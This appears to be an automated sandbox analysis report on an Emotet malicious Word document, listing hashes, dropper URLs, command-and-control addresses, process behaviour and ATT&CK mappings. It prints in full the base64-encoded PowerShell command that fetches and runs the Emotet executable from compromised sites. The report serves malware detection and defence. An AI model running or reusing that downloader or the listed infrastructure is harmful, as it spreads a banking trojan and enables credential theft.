emotet | 24c7551200e919fc0bdce151aef784c0c324c81a337a8bf70e67cfebf1abae0d

General

Target

emotet_e2_24c7551200e919fc0bdce151aef784c0c324c81a337a8bf70e67cfebf1abae0d_2020-09-17__131708._doc.doc
Size

172KB
MD5

af5701e6c5f9bd86f09a46875323fbfc
SHA1

02429e66570b6b347c3357c559d27e5211f11eb1
SHA256

24c7551200e919fc0bdce151aef784c0c324c81a337a8bf70e67cfebf1abae0d
SHA512

b73d3296ce25058d7b6f2560cb66af5bd066c11ed46570d82106aaf1c08ccdfbce8adfd322008ddfacb968254372f277d2aa1ea7459399dda687c0a85a030c64

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://rhyton-building.com/wp-admin/Ey8qV0/

exe.dropper

http://ezzll.com/wp-includes/KIU2WU/

exe.dropper

http://tellmetech.com/wp-content/4ka/

exe.dropper

https://elmundodelareposteria.com/wp-admin/0PVVmJm/

exe.dropper

https://manuelrozas.cl/assets/XWN/

exe.dropper

https://haritdharni.com/wp-admin/bZM/

exe.dropper

https://theworks-group.com/site/pQT6j5/

Extracted

Family

emotet

C2

74.219.172.26:80

134.209.36.254:8080

104.156.59.7:8080

120.138.30.150:8080

194.187.133.160:443

104.236.246.93:8080

74.208.45.104:8080

78.187.156.31:80

187.161.206.24:80

94.23.216.33:80

172.91.208.86:80

91.211.88.52:7080

50.91.114.38:80

200.123.150.89:443

121.124.124.40:7080

62.75.141.82:80

5.196.74.210:8080

24.137.76.62:80

85.105.205.77:8080

139.130.242.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 196 3900 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	196	3900	powershell.exe

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/2172-12-0x0000000000510000-0x0000000000522000-memory.dmp	emotet
behavioral2/memory/2172-12-0x0000000000510000-0x0000000000522000-memory.dmp	emotet
behavioral2/memory/2172-13-0x0000000000530000-0x0000000000540000-memory.dmp	emotet
behavioral2/memory/2172-13-0x0000000000530000-0x0000000000540000-memory.dmp	emotet
behavioral2/memory/2196-16-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/2196-16-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/2196-17-0x0000000000470000-0x0000000000480000-memory.dmp	emotet
behavioral2/memory/2196-17-0x0000000000470000-0x0000000000480000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

23 196 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

Mjlzifmu.execliconfg.exe

pid process

2172 Mjlzifmu.exe
2196 cliconfg.exe
Drops file in System32 directory 1 IoCs

Processes:

Mjlzifmu.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\wfdprov\cliconfg.exe Mjlzifmu.exe

flow	pid	process
23	196	powershell.exe

pid	process
2172	Mjlzifmu.exe
2196	cliconfg.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\wfdprov\cliconfg.exe	Mjlzifmu.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1568 WINWORD.EXE
1568 WINWORD.EXE

pid	process
1568	WINWORD.EXE
1568	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.execliconfg.exe

pid	process
196	powershell.exe
196	powershell.exe
196	powershell.exe
2196	cliconfg.exe
2196	cliconfg.exe
2196	cliconfg.exe
2196	cliconfg.exe
2196	cliconfg.exe
2196	cliconfg.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 196 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

1568 WINWORD.EXE
1568 WINWORD.EXE
1568 WINWORD.EXE
1568 WINWORD.EXE
1568 WINWORD.EXE
1568 WINWORD.EXE
1568 WINWORD.EXE
1568 WINWORD.EXE
1568 WINWORD.EXE

description	pid	process
Token: SeDebugPrivilege	196	powershell.exe

pid	process
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

powershell.exeMjlzifmu.exe

description	pid	process	target process
PID 196 wrote to memory of 2172	196	powershell.exe	Mjlzifmu.exe
PID 196 wrote to memory of 2172	196	powershell.exe	Mjlzifmu.exe
PID 196 wrote to memory of 2172	196	powershell.exe	Mjlzifmu.exe
PID 2172 wrote to memory of 2196	2172	Mjlzifmu.exe	cliconfg.exe
PID 2172 wrote to memory of 2196	2172	Mjlzifmu.exe	cliconfg.exe
PID 2172 wrote to memory of 2196	2172	Mjlzifmu.exe	cliconfg.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_24c7551200e919fc0bdce151aef784c0c324c81a337a8bf70e67cfebf1abae0d_2020-09-17__131708._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1568

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABVAGgAeABxADQAbAB1AD0AKAAoACcAQwBzACcAKwAnAGQAaQBuACcAKQArACcAawAnACsAJwAwACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAUgBwAFIATwBmAEkATABFAFwAdQBvAGYAVwBzAFUAdgBcAGwAbgB4AFkATgA2AF8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAYABFAGAAQwBgAFUAcgBJAFQAeQBwAHIAYABvAFQATwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAsACcAKwAnACAAdAAnACsAJwBsACcAKQArACgAJwBzACcAKwAnADEAJwArACcAMQAsACAAdABsAHMAJwApACkAOwAkAEYAegBnAGEAdQAwAGUAIAA9ACAAKAAnAE0AJwArACcAagBsACcAKwAoACcAegBpAGYAJwArACcAbQB1ACcAKQApADsAJABDADQAaQA5AHgANQBuAD0AKAAoACcAUgBoACcAKwAnAG0AJwApACsAJwBtACcAKwAoACcAegBxACcAKwAnAHMAJwApACkAOwAkAEQAOAA5AGkAdwB2AGsAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBiAEMAJwArACcAUgBVAG8AZgB3ACcAKQArACcAcwB1ACcAKwAnAHYAYgAnACsAKAAnAEMAUgBMAG4AJwArACcAeAB5ACcAKQArACcAbgA2ACcAKwAnAF8AYgAnACsAJwBDACcAKwAnAFIAJwApACAAIAAtAGMAUgBFAHAAbABhAEMAZQAoACcAYgBDACcAKwAnAFIAJwApACwAWwBjAGgAYQBSAF0AOQAyACkAKwAkAEYAegBnAGEAdQAwAGUAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABTAHQAYQBxAG0AcgBmAD0AKAAnAEEAJwArACgAJwBnAGUAJwArACcAdAAnACkAKwAoACcAawBrACcAKwAnAHkAJwApACkAOwAkAFcAdQBiADMAbQAxAHQAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAEIAQwBMAGkAZQBuAFQAOwAkAEEAbgB6AGwAOQB1AGsAPQAoACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwAnACkAKwAoACcAcgBoACcAKwAnAHkAJwApACsAJwB0ACcAKwAnAG8AJwArACcAbgAtACcAKwAoACcAYgB1ACcAKwAnAGkAbABkACcAKQArACgAJwBpAG4AJwArACcAZwAnACkAKwAnAC4AYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtAGEAJwApACsAKAAnAGQAbQBpAG4ALwAnACsAJwBFAHkAOABxAFYAJwArACcAMAAvACoAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvACcAKwAnAGUAegAnACkAKwAoACcAegBsACcAKwAnAGwAJwApACsAKAAnAC4AJwArACcAYwBvAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AaQBuACcAKwAnAGMAJwApACsAJwBsAHUAJwArACgAJwBkAGUAJwArACcAcwAvAEsASQBVADIAVwBVACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAJwArACcAcAA6AC8ALwB0ACcAKwAnAGUAbAAnACkAKwAoACcAbAAnACsAJwBtAGUAJwApACsAKAAnAHQAJwArACcAZQBjACcAKQArACgAJwBoAC4AJwArACcAYwAnACkAKwAoACcAbwBtACcAKwAnAC8AdwBwAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQAJwArACcALwA0AGsAJwApACsAJwBhACcAKwAoACcALwAnACsAJwAqAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AZQBsAG0AJwApACsAKAAnAHUAbgBkAG8AJwArACcAZABlAGwAJwArACcAYQByACcAKQArACgAJwBlAHAAbwBzAHQAJwArACcAZQAnACkAKwAnAHIAJwArACcAaQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjAG8AbQAnACsAJwAvAHcAcAAnACsAJwAtACcAKQArACgAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAJwArACgAJwBuAC8AMAAnACsAJwBQAFYAJwApACsAKAAnAFYAbQBKAG0ALwAqACcAKwAnAGgAJwArACcAdAAnACkAKwAoACcAdABwACcAKwAnAHMAOgAvAC8AbQBhACcAKQArACgAJwBuACcAKwAnAHUAZQAnACkAKwAnAGwAJwArACgAJwByAG8AegBhACcAKwAnAHMALgBjAGwALwAnACkAKwAnAGEAJwArACgAJwBzAHMAZQAnACsAJwB0ACcAKwAnAHMAJwArACcALwBYAFcATgAvACoAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnAHMAJwArACgAJwA6AC8AJwArACcALwAnACkAKwAnAGgAJwArACgAJwBhAHIAJwArACcAaQB0AGQAaABhACcAKQArACgAJwByAG4AaQAuAGMAJwArACcAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAtAGEAJwArACcAZAAnACkAKwAoACcAbQBpAG4ALwBiACcAKwAnAFoATQAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAJwArACcAcwA6AC8ALwB0ACcAKQArACcAaABlACcAKwAoACcAdwAnACsAJwBvAHIAawBzAC0AZwByAG8AdQAnACsAJwBwACcAKwAnAC4AJwArACcAYwBvAG0AJwArACcALwBzACcAKQArACgAJwBpAHQAJwArACcAZQAvAHAAUQAnACkAKwAoACcAVAAnACsAJwA2AGoAJwApACsAJwA1AC8AJwApAC4AIgBTAFAAYABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAZQAxAHMAbABzAHEAPQAoACcAVAB1ACcAKwAnAHoAYwAnACsAKAAnAHgAJwArACcAbAA0ACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAUAB2AHMAZQBkAG4AMwAgAGkAbgAgACQAQQBuAHoAbAA5AHUAawApAHsAdAByAHkAewAkAFcAdQBiADMAbQAxAHQALgAiAGQATwBXAG4AYABsAG8AQQBgAEQAYABGAEkAbABFACIAKAAkAFAAdgBzAGUAZABuADMALAAgACQARAA4ADkAaQB3AHYAawApADsAJABWADcAdAB4AG0AZABfAD0AKAAnAFEAJwArACgAJwA1ADkAcQAxACcAKwAnADYAbwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABEADgAOQBpAHcAdgBrACkALgAiAEwAYABlAG4ARwBUAGgAIgAgAC0AZwBlACAAMgA4ADIANwA5ACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAEQAOAA5AGkAdwB2AGsAKQA7ACQATABqAHUAMQBfAHMAaAA9ACgAJwBJACcAKwAoACcAMQA0ACcAKwAnADQAJwApACsAKAAnAGQAJwArACcANAB6ACcAKQApADsAYgByAGUAYQBrADsAJABIAHoAcAAzAGEAdQBfAD0AKAAoACcAQwA3ACcAKwAnAHMAdQAnACkAKwAoACcAYQAwACcAKwAnADcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAcwBnAGMAaQBlADYAPQAoACgAJwBIAHYAJwArACcAXwBvACcAKQArACcAZwA1ACcAKwAnAHQAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:196

C:\Users\Admin\Uofwsuv\Lnxyn6_\Mjlzifmu.exe
"C:\Users\Admin\Uofwsuv\Lnxyn6_\Mjlzifmu.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2172

C:\Windows\SysWOW64\wfdprov\cliconfg.exe
"C:\Windows\SysWOW64\wfdprov\cliconfg.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2196

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Uofwsuv\Lnxyn6_\Mjlzifmu.exe

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C:\Users\Admin\uofWsUv\lnxYN6_\Mjlzifmu.exe

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C:\Windows\SysWOW64\wfdprov\cliconfg.exe

Download Submit
memory/196-6-0x00007FFD1B8A0000-0x00007FFD1C28C000-memory.dmp

Filesize
9.9MB

Download
memory/196-7-0x000001809A6D0000-0x000001809A6D1000-memory.dmp

Filesize
4KB

Download
memory/196-8-0x00000180B2A40000-0x00000180B2A41000-memory.dmp

Filesize
4KB

Download
memory/1568-0-0x00007FFD22B00000-0x00007FFD231C6000-memory.dmp

Filesize
6.8MB

Download
memory/1568-5-0x000002D18BE63000-0x000002D18BE6F000-memory.dmp

Filesize
48KB

Download
memory/1568-4-0x000002D18BE63000-0x000002D18BE6F000-memory.dmp

Filesize
48KB

Download
memory/1568-3-0x000002D18BE63000-0x000002D18BE6F000-memory.dmp

Filesize
48KB

Download
memory/2172-9-0x0000000000000000-mapping.dmp

Download
memory/2172-12-0x0000000000510000-0x0000000000522000-memory.dmp

Filesize
72KB

Download
memory/2172-13-0x0000000000530000-0x0000000000540000-memory.dmp

Filesize
64KB

Download
memory/2196-14-0x0000000000000000-mapping.dmp

Download
memory/2196-16-0x0000000000580000-0x0000000000592000-memory.dmp

Filesize
72KB

Download
memory/2196-17-0x0000000000470000-0x0000000000480000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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